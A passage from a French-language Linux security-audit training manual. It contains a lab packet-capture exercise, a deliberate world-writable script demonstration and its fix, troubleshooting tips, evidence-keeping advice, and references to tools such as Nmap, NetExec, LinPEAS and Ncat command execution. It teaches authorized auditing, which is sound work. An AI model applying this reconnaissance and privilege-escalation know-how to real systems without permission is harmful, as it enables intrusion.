curl -sS http://192.0.2.20:8000/ > page-exercice3.txt
# Puis Ctrl+C dans le terminal de capture.
```

Shell • décodage hors ligne

```
tshark -r exercice3.pcap -d tcp.port==8000,http \
  -Y http.request -T fields \
  -e frame.time_epoch -e ip.src -e http.request.uri
sha256sum exercice3.pcap > exercice3.pcap.sha256
```

Le fichier créé sous sudo peut demander un transfert de propriété ciblé vers le compte d'analyse. Le faire seulement sur cette capture d'exercice. -d indique explicitement de décoder le port 8000 comme HTTP.

Résultats attendus et interprétation

La requête vers / apparaît avec l'adresse de A et un horaire. Si le champ reste vide, vérifier l'interface, la présence de paquets et le décodage. Un service HTTPS n'exposerait pas automatiquement le même contenu lisible.

Livrable de l'exercice

Une note comprenant les deux adresses, l'interface, l'heure, la commande, un extrait minimal et l'empreinte. Arrêter ensuite le serveur et conserver les fichiers selon la durée prévue.

Exercice du niveau 4 • qualifier une exposition

Objectif : distinguer un indicateur de mauvaise permission d’une escalade démontrée. L’exercice crée uniquement un fichier inoffensif dans votre dossier personnel ; il ne crée aucune tâche privilégiée.

Shell • simuler une mauvaise permission

```
mkdir -p ~/lab/exercice4
cd ~/lab/exercice4
printf "%s\n" "#!/bin/sh" "date" > sauvegarde-demo.sh
chmod 766 sauvegarde-demo.sh
ls -l sauvegarde-demo.sh
find . -type f -perm -0002 -print
```

Analyse attendue

Le fichier est modifiable par les autres utilisateurs selon son mode, sous réserve de la traversée des parents et des autres contrôles. Cela montre un indicateur de mauvaise configuration. Il n’y a pas d’escalade root démontrée : aucun processus root n’exécute ici ce fichier.

Ce qu’il faudrait vérifier dans un audit autorisé

• Le compte qui lance le script, la fréquence et le mécanisme de lancement.

• Les permissions effectives de tous les parents et les ACL.

• Le contenu appelé, les chemins de dépendances et les protections d’exécution.

• La possibilité de produire une preuve minimale sans altérer le service.

Shell • correction dans ce seul exercice

```
chmod 700 sauvegarde-demo.sh
find . -type f -perm -0002 -print
ls -l sauvegarde-demo.sh
```

La recherche ne doit plus afficher le fichier. La correction réduit l’exposition locale. Un rapport professionnel distinguerait « droit d’écriture trop large observé » et « exécution privilégiée démontrée ».

Conseil Pour l’exercice de shells de la section 13, appliquer la même logique : prouver le sens de connexion et l’identité obtenue, puis vérifier la fermeture des écouteurs.

Compatibilité et dépannage rapide

Situation	Vérification	Action adaptée
Commande introuvable	command -v nom ; aide du paquet	Installer depuis les dépôts officiels de la distribution si le paquet est disponible.
Option inconnue	nom --help ; nom --version	Lire l'aide de la version installée ; les variantes de nc et outils spécialisés diffèrent.
Permission refusée	Identité, droits, ACL et parents	Déterminer le droit nécessaire ; ne pas répondre automatiquement par sudo ou chmod 777.
Aucun fichier trouvé	Racine, casse, motif et erreurs	Utiliser find avec une racine explicite ; inspecter les erreurs d'accès et l'index locate.
Connexion impossible	ip route, ss, pare-feu et écoute	Vérifier couche par couche avant de conclure sur la sécurité du service.
Service absent de systemctl	Présence effective de systemd	Vérifier le gestionnaire utilisé, notamment dans les conteneurs.
LDAP ou Kerberos échoue	DNS, heure, nom complet, certificat	Corriger l'environnement ; ne pas supprimer les contrôles de sécurité pour masquer l'erreur.

Paquets fréquents sur les distributions de la famille Debian

ip et ss : iproute2 ; anciens outils réseau : net-tools ; getfacl et setfacl : acl ; getcap : libcap2-bin ; ldapsearch : ldap-utils ; scp : openssh-client ; nc : netcat-openbsd. La disponibilité et les versions des outils spécialisés varient selon la distribution et les dépôts configurés.

```
apt-cache policy nmap
# Installation locale si nécessaire et autorisée :
sudo apt update
sudo apt install nmap
```

Le gestionnaire de paquets modifie le système. Ces lignes sont une procédure d'installation sur le poste d'audit, jamais une étape automatique à exécuter sur la cible.

Qualité des preuves et portée de validation

Informations à conserver pour chaque constat

• Périmètre et identité utilisés, machine source et cible.
• Date, heure et fuseau ; version de l’outil.
• Commande exacte, paramètres et fichiers d’entrée utiles.
• Sortie brute protégée, extrait minimal expurgé et erreurs observées.
• Interprétation, limites, correction proposée et résultat du nouveau contrôle.

Trois degrés à distinguer

Degré	Exemple
Observation	Le compte auditeur peut lister le partage public.
Hypothèse	Une sauvegarde exposée pourrait contenir une configuration sensible.
Constat confirmé	Le fichier de démonstration convenu est lisible par une identité qui ne devrait pas y accéder.

Validation de cette édition

Les points sensibles de syntaxe et de compatibilité ont été recoupés avec des documentations officielles et pages de manuel. Les blocs d’exemple ont fait l’objet d’un contrôle de syntaxe Bash ; un sous-ensemble des manipulations locales a été vérifié dans un dossier temporaire. Aucun scan, aucune authentification sur une infrastructure tierce et aucun test d’exploitation distant n’ont été exécutés pour produire ce manuel.

Les exemples ne constituent pas une certification de fonctionnement sur toutes les versions de Kali Linux, Ubuntu, Debian et Parrot OS. Les outils spécialisés, politiques de sécurité, droits et services installés doivent être vérifiés dans le laboratoire visé. Les sorties décrites sont des attentes pédagogiques, pas des captures d’une cible réelle.

Commandes auxiliaires utilisées dans les exemples

printf écrit du texte ; sha256sum calcule une empreinte ; timeout borne une durée ; date affiche l’heure ; id affiche l’identité ; stat décrit un fichier ; kinit obtient un ticket Kerberos ; klist affiche les tickets ; unzip inspecte ou extrait une archive ; zgrep recherche dans des fichiers éventuellement compressés. Lire leur aide avant de les intégrer à une procédure.

Conseil Préférer une preuve courte, reproductible et expliquée à une grande quantité de sorties non interprétées. La qualité du raisonnement compte autant que le nombre d’outils utilisés.

Références officielles

Références de vérification et ressources pour approfondir. Les pages en ligne évoluent ; pour une commande précise, compléter par le manuel de la version réellement installée. Les identifiants S01 à S42 permettent de retrouver les références citées dans les sections.

S01 Nmap

Guide de référence et interprétation des états

https://nmap.org/book/man.html

S02 Nmap

Résumé officiel des options

https://nmap.org/book/man-briefoptions.html

S03 Nmap

Découverte des hôtes et limites de -Pn

https://nmap.org/book/man-host-discovery.html

S04 Nmap

Moteur de scripts et sélection des contrôles

https://nmap.org/book/man-nse.html

S05 curl

Manuel des options HTTP et TLS

https://curl.se/docs/manpage.html

S06 GNU Wget

Manuel du téléchargement

https://www.gnu.org/software/wget/manual/wget.html

S07 Kali Linux

WhatWeb, paquet et aide du programme

https://www.kali.org/tools/whatweb/

Références officielles • suite 2

S08 Kali Linux

Nikto, contrôles et options

https://www.kali.org/tools/nikto/

S09 Kali Linux

ffuf, calibrage, débit et exports

https://www.kali.org/tools/ffuf/

S10 Kali Linux

Feroxbuster, récursion et limites de scans

https://www.kali.org/tools/feroxbuster/

S11 Kali Linux

arp-scan

https://www.kali.org/tools/arp-scan/

S12 Kali Linux

Netdiscover

https://www.kali.org/tools/netdiscover/

S13 Kali Linux

nbtscan et enum4linux

https://www.kali.org/tools/enum4linux/

S14 Samba

smbclient, authentification et partage

https://www.samba.org/samba/docs/current/man-html/smbclient.1.html

Références officielles • suite 3

S15 Samba

rpcclient

https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html

S16 Kali Linux

SMBMap, invite de mot de passe et contrôles d’écriture

https://www.kali.org/tools/smbmap/

S17 Kali Linux

enum4linux-ng, portée et exports

https://www.kali.org/tools/enum4linux-ng/

S18 Kali Linux

NetExec et continuité de CrackMapExec

https://www.kali.org/tools/netexec/

S19 Debian et OpenLDAP

ldapsearch, filtres, pagination et authentification

https://manpages.debian.org/bookworm/ldap-utils/ldapsearch.1.en.html

S20 Kali Linux

bloodhound-python, collecteur historique

https://www.kali.org/tools/bloodhound.py/

S21 Kali Linux

bloodhound-ce-python, compatibilité Community Edition

https://www.kali.org/tools/bloodhound-ce-python/

Références officielles • suite 4

S22 NetExec

Authentification par cache Kerberos

https://www.netexec.wiki/getting-started/using-kerberos

S23 NetExec

Documentation des protocoles et options

https://www.netexec.wiki/

S24 The Tcpdump Group

Manuel tcpdump

https://www.tcpdump.org/manpages/tcpdump.1.html

S25 Wireshark

Manuel TShark et filtres

https://www.wireshark.org/docs/man-pages/tshark.html

S26 Wireshark

Manuel du programme graphique

https://www.wireshark.org/docs/man-pages/wireshark.html

S27 OpenSSH

Manuel scp

https://man.openbsd.org/scp

S28 Rsync

Manuel officiel rsync

https://download.samba.org/pub/rsync/rsync.1

Références officielles • suite 5

S29 Python

http.server, options et limites de sécurité

https://docs.python.org/3/library/http.server.html

S30 Debian

netcat-openbsd, variante Linux de nc

https://manpages.debian.org/bookworm/netcat-openbsd/nc.1.en.html

S31 Nmap Ncat

Exécution de commandes via une connexion

https://nmap.org/ncat/guide/ncat-exec.html

S32 Sudo

Manuel sudo et mode de liste

https://www.sudo.ws/docs/man/sudo.man/

S33 Linux man-pages

Capacités Linux

https://man7.org/linux/man-pages/man7/capabilities.7.html

S34 Kali Linux

PEASS-ng et scripts LinPEAS distribués

https://www.kali.org/tools/peass-ng/

S35 Dominic Breuker

pspy, options et limites d’observation

https://github.com/DominicBreuker/pspy

Références officielles • suite 6

S36 systemd

journalctl, filtres et formats de sortie

https://www.freedesktop.org/software/systemd/man/latest/journalctl.html

S37 util-linux

Manuel dmesg

https://man7.org/linux/man-pages/man1/dmesg.1.html

S38 GNU Bash

Manuel du shell, redirections et historique

https://www.gnu.org/software/bash/manual/bash.html

S39 GNU Tar

Manuel des archives

https://www.gnu.org/software/tar/manual/tar.html

S40 GNU Coreutils

Manuel des outils de base

https://www.gnu.org/software/coreutils/manual/coreutils.html

S41 Kali Linux

Gobuster, modes et aide

https://www.kali.org/tools/gobuster/

S42 Kali Linux

nbtscan, aide et comportement

https://www.kali.org/tools/nbtscan/

Complément local : man find, man grep, man chmod, man getfacl, man ps, man ip, man ss, man zip et l’aide de chaque outil spécialisé. Ces manuels décrivent la variante disponible sur votre machine.